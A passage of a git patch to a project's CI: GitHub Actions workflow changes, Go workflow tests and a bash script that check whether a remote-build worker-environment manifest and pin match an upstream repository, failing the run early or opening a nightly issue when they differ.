+++++++++++++++++++++++----- tools/rbe/worker-env-sync | 27 +- tools/rbe/worker-env-sync-issue | 44 ++++ 7 files changed, 474 insertions(+), 81 deletions(-) create mode 100755 tools/rbe/worker-env-sync-issue diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index fbf8f2fef..625466eb2 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -382,11 +382,30 @@ env: jobs: # The one place the execution mode is decided (see the header), so every - # job sees the same answer for the whole run. Its step reads one secret, and - # only to test it for emptiness: the step's env holds a boolean, never the - # value, and the step runs no repository code (no checkout). Fork and - # Dependabot pull_request runs get no secrets: rbe-fork-mint decides - # theirs (fork-ro, fork-rw, or cache while it is closed). + # job sees the same answer for the whole run. Its decide step reads one + # secret, and only to test it for emptiness: the step's env holds a + # boolean, never the value, and the step runs no repository code (it comes + # before the job's checkout). Fork and Dependabot pull_request runs get no + # secrets: rbe-fork-mint decides theirs (fork-ro, fork-rw, or cache while + # it is closed). + # + # Then, only when the lanes will execute remotely (enabled: modes remote, + # fork-ro, fork-rw; merge groups are mode remote), the worker-env preflight: + # rbe-west's pool workers run gascity main's tools/rbe/worker-env and + # advertise its pin, and the schedulers match //platforms:rbe_worker's pin + # exactly, so when gascity re-pins and beads' copy (tools/rbe/worker-env.txt + # and the pin in platforms/BUILD.bazel) falls behind, every remote action + # queues until the lanes time out. tools/rbe/worker-env-sync compares the + # copy with gascity main and, out of step, fails this job: every lane needs + # it, so they all skip and pr.yml's gate is red within a minute, with the + # diff and the pin to commit in this job's summary. A fallback to mode + # cache would not keep the PR green (pr.yml's ci-gate requires a remote + # run, BAZEL_REMOTE) and would only make it slower, so fail fast. gascity + # unreachable (exit 2: unknown) warns and proceeds: GitHub's availability + # never blocks a PR. The steps after decide run repository code (the PR's + # script, sparse-checked-out) but hold no secret and set no output: the + # job's outputs are decide's alone. nightly.yml runs the same check every + # night and opens a ci/infra issue. rbe: name: execution mode # Same-repo PRs (and merge_group/push/dispatch/schedule runs, which are @@ -472,6 +491,36 @@ jobs: } >> "$GITHUB_OUTPUT" echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, rbe=cache: $RBE_INPUT_CACHE, fork: $FORK, dependabot: $DEPENDABOT, fork farm: $FORK_FARM, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + # The worker-env preflight (see the job's comment): the PR's own copy, + # so a PR that syncs it passes. Only the two paths it compares. + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + if: ${{ steps.decide.outputs.enabled == 'true' }} + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + sparse-checkout: | + tools/rbe + platforms + + - name: worker-env in step with gascity main + if: ${{ steps.decide.outputs.enabled == 'true' }} + env: + MODE: ${{ steps.decide.outputs.mode }} + run: | + rc=0 + tools/rbe/worker-env-sync main || rc=$? + case "$rc" in + 0) ;; + 1) + echo "::error title=Bazel lanes stopped before queueing::beads' worker-env pin is out of step with gascity main, so rbe-west has no worker for this run's remote actions (mode $MODE): copy tools/rbe/worker-env.txt and the worker-env pin in platforms/BUILD.bazel from gastownhall/gascity main (this job's summary has the diff and the line to commit; see tools/rbe/worker-env-sync)." + exit 1 + ;; + *) + echo "::warning title=rbe worker-env not checked::could not compare beads' worker-env pin with gascity main (exit $rc); proceeding in mode $MODE. If the lanes sit at 0 running actions, run tools/rbe/worker-env-sync." + ;; + esac + # Best-effort pre-warm of gastownhall/gascity's rbe-west OSS worker pool # (one Blacksmith-hosted NativeLink worker, rbe-worker-pool.yml) so it is # already booting instead of the lanes below waiting ~120s at "N actions, 0 diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 97f7bb42b..56f6a23e7 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -9,6 +9,9 @@ on: - cron: '0 2 * * *' workflow_dispatch: +permissions: + contents: read + env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" @@ -39,15 +42,38 @@ jobs: # rbe-west's pool workers are gascity's and advertise the sha256 of # gascity's worker-env manifest; beads' tools/rbe/worker-env.txt is a # byte-for-byte copy and platforms/BUILD.bazel carries the same pin. A copy - # that falls behind queues every remote action, so say so every night. + # that falls behind queues every remote action (bazel.yml's rbe job runs + # the same check before each remote run and fails it fast), so check every + # night and, out of step, open or update a ci/infra issue with the diff and + # the pin to commit (tools/rbe/worker-env-sync-issue). The only job here + # with issues: write, and only its last step uses the token. gascity + # unreachable (exit 2) fails the job without an issue. rbe-worker-env-sync: name: rbe worker-env in step with gascity runs-on: ubuntu-latest timeout-minutes: 5 + permissions: + contents: read + issues: write steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 with: persist-credentials: false - name: Compare the worker-env manifest and pin with gascity's main - run: tools/rbe/worker-env-sync main + id: sync + env: + WORKER_ENV_SYNC_REPORT: ${{ runner.temp }}/worker-env-sync.md + run: | + rc=0 + tools/rbe/worker-env-sync main || rc=$? + echo "rc=$rc" >> "$GITHUB_OUTPUT" + exit "$rc" + + - name: Open or update the out-of-step issue + if: ${{ failure() && steps.sync.outputs.rc == '1' }} + env: + GH_TOKEN: ${{ github.token }} + REPORT: ${{ runner.temp }}/worker-env-sync.md + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: tools/rbe/worker-env-sync-issue "$REPORT" "$RUN_URL" diff --git a/scripts/bazel_farm_workflow_test.go b/scripts/bazel_farm_workflow_test.go index 2b6fb8e6f..36a40b5b0 100644 --- a/scripts/bazel_farm_workflow_test.go +++ b/scripts/bazel_farm_workflow_test.go @@ -255,18 +255,24 @@ func TestBazelWorkflowForkFarmInputs(t *testing.T) { if bazelPackageJobs[name] { want["fetch-depth"] = "0" } + // rbe's worker-env preflight reads two paths of the same ref. + if name == bazelRBEJobName { + want["sparse-checkout"] = bazelRBESparseCheckout + } if !reflect.DeepEqual(step.With, want) { t.Errorf("%s job %s checkout with = %v, want %v", bazelWorkflowName, name, step.With, want) } } } - // Every lane checks out the PR except rbe (decides the mode before any - // checkout) and rbe-prewarm (no checkout at all, by design: B1, security - // review of bdef342d5 - its dispatch logic is inlined into the job's own - // `run:` instead of a checked-out script file, so no step in this job - // ever reads repository content under the shared gascity credential). - if checkouts != len(workflow.Jobs)-2 { - t.Errorf("%d checkouts in %s, want one per lane excluding %s and %s (%d)", checkouts, bazelWorkflowName, bazelRBEJobName, bazelRBEPrewarmJobName, len(workflow.Jobs)-2) + // Every job checks out the PR once except rbe-prewarm (no checkout at + // all, by design: B1, security review of bdef342d5 - its dispatch logic + // is inlined into the job's own `run:` instead of a checked-out script + // file, so no step in this job ever reads repository content under the + // shared gascity credential). rbe's checkout (sparse) comes after its + // decide step, for the worker-env preflight + // (TestBazelRBEWorkerEnvPreflight). + if checkouts != len(workflow.Jobs)-1 { + t.Errorf("%d checkouts in %s, want one per job excluding %s (%d)", checkouts, bazelWorkflowName, bazelRBEPrewarmJobName, len(workflow.Jobs)-1) } if got := workflow.job(t, bazelRBEJobName).Steps[0].Env["FORK_FARM"]; got != bazelForkFarmValue { t.Errorf("rbe FORK_FARM = %q, want %q", got, bazelForkFarmValue) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index bf8d8d6b9..4878ba465 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -4736,8 +4736,10 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { // so a run cannot mix modes and no lane can drift from the others (review D1 // F1/F5/F6): Dependabot PRs are same-repo but get no secrets, so a condition // on vars and fork alone sent them to the remote-only path with nothing to -// run it. The job's one step reads nothing but booleans, runs no -// repository code, and its outputs are the workflow_call outputs. +// run it. The job's decide step (its first) reads nothing but booleans, runs +// no repository code, and its outputs are the job's and the workflow_call +// outputs; the steps after it are the worker-env preflight +// (TestBazelRBEWorkerEnvPreflight), which set no output. func TestBazelRBEJobDecidesOnce(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) job := workflow.job(t, bazelRBEJobName) @@ -4757,8 +4759,8 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { if !reflect.DeepEqual(job.Outputs, wantOutputs) { t.Errorf("%s outputs = %v, want %v", bazelRBEJobName, job.Outputs, wantOutputs) } - if len(job.Steps) != 1 { - t.Fatalf("%s has %d steps, want exactly the decision step", bazelRBEJobName, len(job.Steps)) + if len(job.Steps) != 3 { + t.Fatalf("%s has %d steps, want the decision step and the worker-env preflight's checkout and check", bazelRBEJobName, len(job.Steps)) } step := job.Steps[0] wantEnv := map[string]string{ diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go index ff6f4c2f3..a9d849f24 100644 --- a/scripts/rbe_worker_env_test.go +++ b/scripts/rbe_worker_env_test.go @@ -4,13 +4,17 @@ import ( "crypto/sha256" "encoding/hex" "errors" + "fmt" "os" "os/exec" "path/filepath" + "reflect" "regexp" "slices" "strings" "testing" + + "gopkg.in/yaml.v3" ) // Test actions exec host tools and load the shared libraries of every cgo @@ -33,6 +37,12 @@ const ( rbeWorkerEnvManifest = "tools/rbe/worker-env.txt" rbeWorkerPlatformFlag = "--extra_execution_platforms=//platforms:rbe_worker" rbeWorkerEnvSync = "tools/rbe/worker-env-sync" + rbeWorkerEnvSyncIssue = "tools/rbe/worker-env-sync-issue" + // bazel.yml's rbe job checks out only what worker-env-sync compares. + bazelRBESparseCheckout = "tools/rbe\nplatforms\n" + rbeWorkerEnvEnabledIf = "${{ steps.decide.outputs.enabled == 'true' }}" + nightlyWorkerEnvJob = "rbe-worker-env-sync" + nightlyWorkerEnvReport = "${{ runner.temp }}/worker-env-sync.md" ) var ( @@ -205,86 +215,327 @@ func TestRBEWorkerEnvManifestGuards(t *testing.T) { } } -// TestRBEWorkerEnvSync runs tools/rbe/worker-env-sync against a local -// gascity (file:// URLs): quiet success when the manifest and pin match -// gascity's at REF, and otherwise exit 1 with the diff and the pin to commit -// in the output and step summary, for a manifest or a pin that differs. -func TestRBEWorkerEnvSync(t *testing.T) { +// rbeWorkerEnvFixture is a local gascity (served to worker-env-sync through +// file:// URLs, WORKER_ENV_SYNC_URL) whose main pins manifest at pin, and a +// way to lay out a beads checkout with the given manifest and pin plus the +// real tools/rbe scripts, as the workflows run them. +type rbeWorkerEnvFixture struct { + gascity, manifest, pin string +} + +func rbeTestPin(manifest string) string { + sum := sha256.Sum256([]byte(manifest)) + return "sha256:" + hex.EncodeToString(sum[:]) +} + +func rbeTestPlatformBuild(pin string) string { + return "platform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n)\n" +} + +func rbeTestWrite(t *testing.T, path, body string, mode os.FileMode) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), mode); err != nil { + t.Fatal(err) + } +} + +func newRBEWorkerEnvFixture(t *testing.T) rbeWorkerEnvFixture { + t.Helper() requireHostTool(t, "curl") requireHostTool(t, "bash") - script := filepath.Join(bazelPolicyRoot(t), rbeWorkerEnvSync) - manifest := "arch x86_64\npkg git 2\n" - sum := sha256.Sum256([]byte(manifest)) - pin := "sha256:" + hex.EncodeToString(sum[:]) - build := func(pin string) string { - return "platform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n)\n" - } - write := func(path, body string) { - t.Helper() - if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(path, []byte(body), 0o644); err != nil { - t.Fatal(err) - } - } - gascity := t.TempDir() - write(filepath.Join(gascity, "main", "tools/rbe/worker-env.txt"), manifest) - write(filepath.Join(gascity, "main", "platforms/BUILD.bazel"), build(pin)) + f := rbeWorkerEnvFixture{gascity: t.TempDir(), manifest: "arch x86_64\npkg git 2\n"} + f.pin = rbeTestPin(f.manifest) + rbeTestWrite(t, filepath.Join(f.gascity, "main", rbeWorkerEnvManifest), f.manifest, 0o644) + rbeTestWrite(t, filepath.Join(f.gascity, "main", rbeWorkerPlatformBuild), rbeTestPlatformBuild(f.pin), 0o644) + return f +} - run := func(ourManifest, ourPin string) (string, string, error) { +// beads lays out a beads checkout pinning manifest at pin, with the real +// worker-env-sync scripts, and returns its root. +func (f rbeWorkerEnvFixture) beads(t *testing.T, manifest, pin string) string { + t.Helper() + root := bazelPolicyRoot(t) + dir := t.TempDir() + rbeTestWrite(t, filepath.Join(dir, rbeWorkerEnvManifest), manifest, 0o644) + rbeTestWrite(t, filepath.Join(dir, rbeWorkerPlatformBuild), rbeTestPlatformBuild(pin), 0o644) + for _, script := range []string{rbeWorkerEnvSync, rbeWorkerEnvSyncIssue} { + rbeTestWrite(t, filepath.Join(dir, script), readPolicyFile(t, root, script), 0o755) + } + return dir +} + +// run runs a workflow step's script (bash -e, as GitHub does) in dir with +// gascity served from the fixture plus env, and returns its exit code and +// output. +func (f rbeWorkerEnvFixture) run(t *testing.T, dir, script string, env ...string) (int, string) { + t.Helper() + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) + cmd.Dir = dir + cmd.Env = append(os.Environ(), append([]string{"WORKER_ENV_SYNC_URL=file://" + f.gascity}, env...)...) + out, err := cmd.CombinedOutput() + var exitErr *exec.ExitError + switch { + case err == nil: + return 0, string(out) + case errors.As(err, &exitErr): + return exitErr.ExitCode(), string(out) + default: + t.Fatalf("run step: %v\n%s", err, out) + return -1, "" + } +} + +const rbeTestStaleManifest = "arch x86_64\npkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n" + +// TestRBEWorkerEnvSync runs tools/rbe/worker-env-sync against a local +// gascity: quiet success when the manifest and pin match gascity's at REF; +// exit 1 with the diff and the pin to commit in the output, step summary and +// WORKER_ENV_SYNC_REPORT for a manifest or a pin that differs; and exit 2 +// ("unknown", a warning) when gascity cannot be read, never "in step". +func TestRBEWorkerEnvSync(t *testing.T) { + f := newRBEWorkerEnvFixture(t) + run := func(ourManifest, ourPin string) (int, string, string, string) { t.Helper() - beads := t.TempDir() - write(filepath.Join(beads, rbeWorkerEnvManifest), ourManifest) - write(filepath.Join(beads, rbeWorkerPlatformBuild), build(ourPin)) + beads := f.beads(t, ourManifest, ourPin) summary := filepath.Join(beads, "summary.md") - cmd := exec.Command("bash", script) - cmd.Dir = beads - cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity, "GITHUB_STEP_SUMMARY="+summary) - out, err := cmd.CombinedOutput() - b, _ := os.ReadFile(summary) - return string(out), string(b), err + report := filepath.Join(beads, "report.md") + code, out := f.run(t, beads, "tools/rbe/worker-env-sync\n", "GITHUB_STEP_SUMMARY="+summary, "WORKER_ENV_SYNC_REPORT="+report) + s, _ := os.ReadFile(summary) + r, _ := os.ReadFile(report) + return code, out, string(s), string(r) } - out, summary, err := run(manifest, pin) - if err != nil || !strings.Contains(out, "worker-env: in step with gascity main ("+pin+")") || summary != "" { - t.Fatalf("in step: %v\n%s\nsummary:\n%s", err, out, summary) + code, out, summary, report := run(f.manifest, f.pin) + if code != 0 || !strings.Contains(out, "worker-env: in step with gascity main ("+f.pin+")") || summary != "" || report != "" { + t.Fatalf("in step: exit %d\n%s\nsummary:\n%s\nreport:\n%s", code, out, summary, report) } - stale := "arch x86_64\npkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n" - staleSum := sha256.Sum256([]byte(stale)) - stalePin := "sha256:" + hex.EncodeToString(staleSum[:]) + stalePin := rbeTestPin(rbeTestStaleManifest) for name, c := range map[string][2]string{ - "manifest and pin": {stale, stalePin}, - "pin only": {manifest, stalePin}, - "manifest only": {stale, pin}, + "manifest and pin": {rbeTestStaleManifest, stalePin}, + "pin only": {f.manifest, stalePin}, + "manifest only": {rbeTestStaleManifest, f.pin}, } { - out, summary, err := run(c[0], c[1]) - if err == nil { - t.Errorf("%s out of step: succeeded\n%s", name, out) + code, out, summary, report := run(c[0], c[1]) + if code != 1 { + t.Errorf("%s out of step: exit %d, want 1\n%s", name, code, out) continue } for _, want := range []string{ - "::error title=rbe worker-env out of step::beads pins worker-env=" + c[1] + ", gascity main pins " + pin, - " \"worker-env\": \"" + pin + "\",\n", + "::error title=rbe worker-env out of step::beads pins worker-env=" + c[1] + ", gascity main pins " + f.pin, + "beads' worker-env pin is out of step with gascity main", + " \"worker-env\": \"" + f.pin + "\",\n", } { if !strings.Contains(out, want) { t.Errorf("%s: output lacks %q:\n%s", name, want, out) } } - if !strings.Contains(summary, "### rbe worker-env out of step with gascity") { - t.Errorf("%s: no step summary:\n%s", name, summary) + for what, md := range map[string]string{"step summary": summary, "report": report} { + if !strings.Contains(md, "### rbe worker-env out of step with gascity") || !strings.Contains(md, "\"worker-env\": \""+f.pin+"\"") { + t.Errorf("%s: no %s:\n%s", name, what, md) + } } - if c[0] != manifest && !strings.Contains(out, "-pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n+pkg git 2\n") { + if c[0] != f.manifest && !strings.Contains(out, "-pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n+pkg git 2\n") { t.Errorf("%s: no manifest diff:\n%s", name, out) } } - // gascity unreachable (a REF that does not exist): an error, never "in step". - cmd := exec.Command("bash", script, "no-such-ref") - cmd.Dir = t.TempDir() - cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity) - if out, err := cmd.CombinedOutput(); err == nil { - t.Errorf("worker-env-sync of a missing ref succeeded:\n%s", out) + // gascity unreachable (a REF that does not exist, or no gascity at all): + // exit 2 with a warning, never "in step" and never "out of step". + beads := f.beads(t, f.manifest, f.pin) + for name, env := range map[string][]string{ + "missing ref": {"REF=no-such-ref"}, + "unreachable": {"REF=main", "WORKER_ENV_SYNC_URL=file:///nonexistent-gascity"}, + } { + code, out := f.run(t, beads, `tools/rbe/worker-env-sync "$REF"`+"\n", env...) + if code != 2 || !strings.Contains(out, "::warning title=rbe worker-env unknown::") || strings.Contains(out, "in step") || strings.Contains(out, "::error") { + t.Errorf("worker-env-sync, %s: exit %d, want 2 with an unknown warning:\n%s", name, code, out) + } + } +} + +// TestBazelRBEWorkerEnvPreflight: when gascity re-pins and beads' copy falls +// behind, a remote-execution run fails in bazel.yml's rbe job (every lane +// needs it, so none starts and pr.yml's gate is red at once) with the +// actionable message, instead of every lane queueing on rbe-west until it +// times out. Only runs whose lanes execute remotely (enabled: remote, +// fork-ro, fork-rw; merge groups are remote) check; gascity unreachable +// warns and proceeds. The steps run after decide and set no output, so the +// mode the lanes read is decide's alone. +func TestBazelRBEWorkerEnvPreflight(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName) + if len(job.Steps) != 3 || job.Steps[0].ID != "decide" { + t.Fatalf("%s steps = %d (first %q), want decide, the checkout and the worker-env check", bazelRBEJobName, len(job.Steps), job.Steps[0].ID) + } + if !strings.Contains(job.Steps[0].Run, `case "$mode" in remote|fork-ro|fork-rw) enabled=true ;; esac`) { + t.Errorf("%s decide no longer sets enabled exactly for the remote modes; the preflight's if depends on it", bazelRBEJobName) + } + checkout, check := job.Steps[1], job.Steps[2] + if actionFamily(checkout.Uses) != "actions/checkout" || checkout.If != rbeWorkerEnvEnabledIf || checkout.With["sparse-checkout"] != bazelRBESparseCheckout { + t.Errorf("%s step 2: uses %q, if %q, sparse-checkout %q; want a checkout of %q if %s", + bazelRBEJobName, checkout.Uses, checkout.If, checkout.With["sparse-checkout"], bazelRBESparseCheckout, rbeWorkerEnvEnabledIf) + } + wantEnv := map[string]string{"MODE": "${{ steps.decide.outputs.mode }}"} + if check.If != rbeWorkerEnvEnabledIf || check.ID != "" || check.Uses != "" || check.ContinueOnError != nil || !reflect.DeepEqual(check.Env, wantEnv) || + !strings.Contains(check.Run, "tools/rbe/worker-env-sync main") { + t.Errorf("%s step 3: if %q, id %q, uses %q, continue-on-error %v, env %v; want if %s, no id, env %v, running tools/rbe/worker-env-sync main", + bazelRBEJobName, check.If, check.ID, check.Uses, check.ContinueOnError, check.Env, rbeWorkerEnvEnabledIf, wantEnv) + } + + f := newRBEWorkerEnvFixture(t) + stalePin := rbeTestPin(rbeTestStaleManifest) + for _, c := range []struct { + name, manifest, pin, url string + code int + want string + }{ + {"in step", f.manifest, f.pin, "", 0, "worker-env: in step with gascity main"}, + {"gascity re-pinned", rbeTestStaleManifest, stalePin, "", 1, + "::error title=Bazel lanes stopped before queueing::beads' worker-env pin is out of step with gascity main, so rbe-west has no worker for this run's remote actions (mode remote): copy tools/rbe/worker-env.txt and the worker-env pin in platforms/BUILD.bazel from gastownhall/gascity main"}, + {"gascity unreachable", rbeTestStaleManifest, stalePin, "file:///nonexistent-gascity", 0, + "::warning title=rbe worker-env not checked::could not compare beads' worker-env pin with gascity main (exit 2); proceeding in mode remote."}, + } { + env := []string{"MODE=remote", "GITHUB_STEP_SUMMARY=" + filepath.Join(t.TempDir(), "summary")} + if c.url != "" { + env = append(env, "WORKER_ENV_SYNC_URL="+c.url) + } + code, out := f.run(t, f.beads(t, c.manifest, c.pin), check.Run, env...) + if code != c.code || !strings.Contains(out, c.want) { + t.Errorf("rbe preflight, %s: exit %d, want %d with %q:\n%s", c.name, code, c.code, c.want, out) + } + } +} + +// TestNightlyWorkerEnvSyncOpensIssue: nightly's check, out of step, opens a +// ci/infra issue with the diff (or, with one open, updates its body and +// comments with the run), with GITHUB_TOKEN's issues: write scoped to that +// job and the token in that one step; the rest of nightly.yml reads only. +// gascity unreachable fails the job without an issue. +func TestNightlyWorkerEnvSyncOpensIssue(t *testing.T) { + nightly := readCIWorkflow(t, "nightly.yml") + var top struct { + Permissions map[string]string `yaml:"permissions"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/nightly.yml")), &top); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(top.Permissions, map[string]string{"contents": "read"}) { + t.Errorf("nightly.yml permissions = %v, want contents: read", top.Permissions) + } + for name, job := range nightly.Jobs { + want := any(nil) + if name == nightlyWorkerEnvJob { + want = map[string]any{"contents": "read", "issues": "write"} + } + if !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("nightly.yml job %s permissions = %v, want %v", name, job.Permissions, want) + } + } + job := nightly.job(t, nightlyWorkerEnvJob) + if len(job.Steps) != 3 { + t.Fatalf("nightly.yml %s has %d steps, want checkout, check, issue", nightlyWorkerEnvJob, len(job.Steps)) + } + check, issue := job.Steps[1], job.Steps[2] + if check.ID != "sync" || check.If != "" || !reflect.DeepEqual(check.Env, map[string]string{"WORKER_ENV_SYNC_REPORT": nightlyWorkerEnvReport}) { + t.Errorf("nightly check step: id %q, if %q, env %v; want id sync, no if, WORKER_ENV_SYNC_REPORT=%s", check.ID, check.If, check.Env, nightlyWorkerEnvReport) + } + wantIssueEnv := map[string]string{ + "GH_TOKEN": "${{ github.token }}", + "REPORT": nightlyWorkerEnvReport, + "RUN_URL": "${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}", + } + if issue.If != "${{ failure() && steps.sync.outputs.rc == '1' }}" || !reflect.DeepEqual(issue.Env, wantIssueEnv) || !strings.Contains(issue.Run, rbeWorkerEnvSyncIssue) { + t.Errorf("nightly issue step: if %q, env %v, run %q; want only on rc 1, env %v, running %s", issue.If, issue.Env, issue.Run, wantIssueEnv, rbeWorkerEnvSyncIssue) + } + for name, j := range nightly.Jobs { + for i, step := range j.Steps { + if (name != nightlyWorkerEnvJob || i != 2) && strings.Contains(fmt.Sprint(step.Env, step.With, step.Run), "github.token") { + t.Errorf("nightly.yml job %s step %d uses github.token; only the issue step may", name, i) + } + } + } + + // The check step's rc output: 1 out of step (the issue step runs), 2 + // unknown (it does not), 0 in step. + f := newRBEWorkerEnvFixture(t) + stalePin := rbeTestPin(rbeTestStaleManifest) + for _, c := range []struct { + name, manifest, pin, url, rc string + }{ + {"in step", f.manifest, f.pin, "", "0"}, + {"out of step", rbeTestStaleManifest, stalePin, "", "1"}, + {"gascity unreachable", f.manifest, f.pin, "file:///nonexistent-gascity", "2"}, + } { + dir := t.TempDir() + output := filepath.Join(dir, "output") + report := filepath.Join(dir, "report.md") + env := []string{"GITHUB_OUTPUT=" + output, "WORKER_ENV_SYNC_REPORT=" + report} + if c.url != "" { + env = append(env, "WORKER_ENV_SYNC_URL="+c.url) + } + code, out := f.run(t, f.beads(t, c.manifest, c.pin), check.Run, env...) + got, _ := os.ReadFile(output) + if fmt.Sprint(code) != c.rc || string(got) != "rc="+c.rc+"\n" { + t.Errorf("nightly check, %s: exit %d, output %q; want exit and rc %s\n%s", c.name, code, got, c.rc, out) + } + if r, _ := os.ReadFile(report); (c.rc == "1") != strings.Contains(string(r), "### rbe worker-env out of step with gascity") { + t.Errorf("nightly check, %s: report %q", c.name, r) + } + } + + // The issue step, against a stand-in gh that logs its calls and lists + // the open ci/infra issues it is given. + const ghStub = `#!/usr/bin/env bash +printf '%s\n' "$*" >>"$GH_LOG" +for a in "$@"; do + case "$prev" in --body-file) cp "$a" "$GH_LOG.body" ;; esac + prev=$a +done +case "$1 $2" in + "issue list") jq -r "$(for a in "$@"; do [ "$p" = --jq ] && echo "$a"; p=$a; done)" <<<"$GH_ISSUES" ;; +esac +` + requireHostTool(t, "jq") + title := "rbe worker-env out of step with gascity main" + for _, c := range []struct { + name, issues string + want []string + }{ + {"no open issue", `[{"number":7,"title":"something else"}]`, []string{ + "issue create --repo gastownhall/beads --title " + title + " --label ci/infra --body-file ", + }}, + {"open issue", `[{"number":7,"title":"something else"},{"number":42,"title":"` + title + `"}]`, []string{ + "issue edit 42 --repo gastownhall/beads --body-file ", + "issue comment 42 --repo gastownhall/beads --body Still out of step with gascity main: https://github.com/gastownhall/beads/actions/runs/9", + }}, + } { + dir := t.TempDir() + bin := filepath.Join(dir, "bin") + rbeTestWrite(t, filepath.Join(bin, "gh"), ghStub, 0o755) + report := filepath.Join(dir, "report.md") + rbeTestWrite(t, report, "### rbe worker-env out of step with gascity\n\nthe diff\n", 0o644) + log := filepath.Join(dir, "gh.log") + code, out := f.run(t, f.beads(t, f.manifest, f.pin), issue.Run, + "PATH="+bin+string(os.PathListSeparator)+os.Getenv("PATH"), "GH_LOG="+log, "GH_ISSUES="+c.issues, + "GITHUB_REPOSITORY=gastownhall/beads", "REPORT="+report, "RUN_URL=https://github.com/gastownhall/beads/actions/runs/9") + calls, _ := os.ReadFile(log) + body, _ := os.ReadFile(log + ".body") + if code != 0 { + t.Errorf("issue step, %s: exit %d\n%s", c.name, code, out) + } + for _, want := range c.want { + if !strings.Contains(string(calls), want) { + t.Errorf("issue step, %s: gh calls lack %q:\n%s", c.name, want, calls) + } + } + if strings.Contains(string(calls), "issue create") == (c.name == "open issue") { + t.Errorf("issue step, %s: gh calls:\n%s", c.name, calls) + } + if !strings.Contains(string(body), "the diff") || !strings.Contains(string(body), "https://github.com/gastownhall/beads/actions/runs/9") { + t.Errorf("issue step, %s: body:\n%s", c.name, body) + } } } diff --git a/tools/rbe/worker-env-sync b/tools/rbe/worker-env-sync index 6152b86f9..792c560e2 100755 --- a/tools/rbe/worker-env-sync +++ b/tools/rbe/worker-env-sync @@ -11,16 +11,28 @@ # queue on a pin no worker serves. This compares the manifest and the pin # with gascity's at REF (default main) and, if either differs, prints the # diff and what to commit (stdout and $GITHUB_STEP_SUMMARY) and exits 1. +# If it cannot compare (gascity unreachable, a missing REF, any other +# failure) it warns and exits 2: callers that must not block on GitHub's +# availability (bazel.yml's rbe job) proceed on 2 and fail only on 1. # Run from the repository root. # -# Env (tests only): WORKER_ENV_SYNC_URL, gascity's raw-content base (default -# https://raw.githubusercontent.com/gastownhall/gascity). -set -euo pipefail +# Callers: bazel.yml's rbe job, before any lane of a remote-execution run +# (fails the run fast instead of letting the lanes queue), and nightly.yml's +# rbe-worker-env-sync job (opens or updates a ci/infra issue, +# tools/rbe/worker-env-sync-issue). +# +# Env: WORKER_ENV_SYNC_REPORT, a file to also write the out-of-step report +# (markdown) to. Tests only: WORKER_ENV_SYNC_URL, gascity's raw-content base +# (default https://raw.githubusercontent.com/gastownhall/gascity). +set -Eeuo pipefail ref=${1:-main} base=${WORKER_ENV_SYNC_URL:-https://raw.githubusercontent.com/gastownhall/gascity}/$ref tmp=$(mktemp -d) trap 'rm -rf "$tmp"' EXIT +# Anything that fails before the comparison is "unknown", never "in step" +# and never "out of step". +trap 'echo "::warning title=rbe worker-env unknown::worker-env-sync could not compare with gascity $ref ($BASH_COMMAND failed); not checked."; exit 2' ERR summary() { if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then cat >>"$GITHUB_STEP_SUMMARY"; else cat >/dev/null; fi @@ -33,8 +45,8 @@ pin_of() { echo "${pin:-none}" } -curl -fsSL --retry 3 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" -curl -fsSL --retry 3 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" ours=$(pin_of platforms/BUILD.bazel) theirs=$(pin_of "$tmp/BUILD.bazel") if cmp -s tools/rbe/worker-env.txt "$tmp/worker-env.txt" && [ "$ours" = "$theirs" ]; then @@ -42,6 +54,8 @@ if cmp 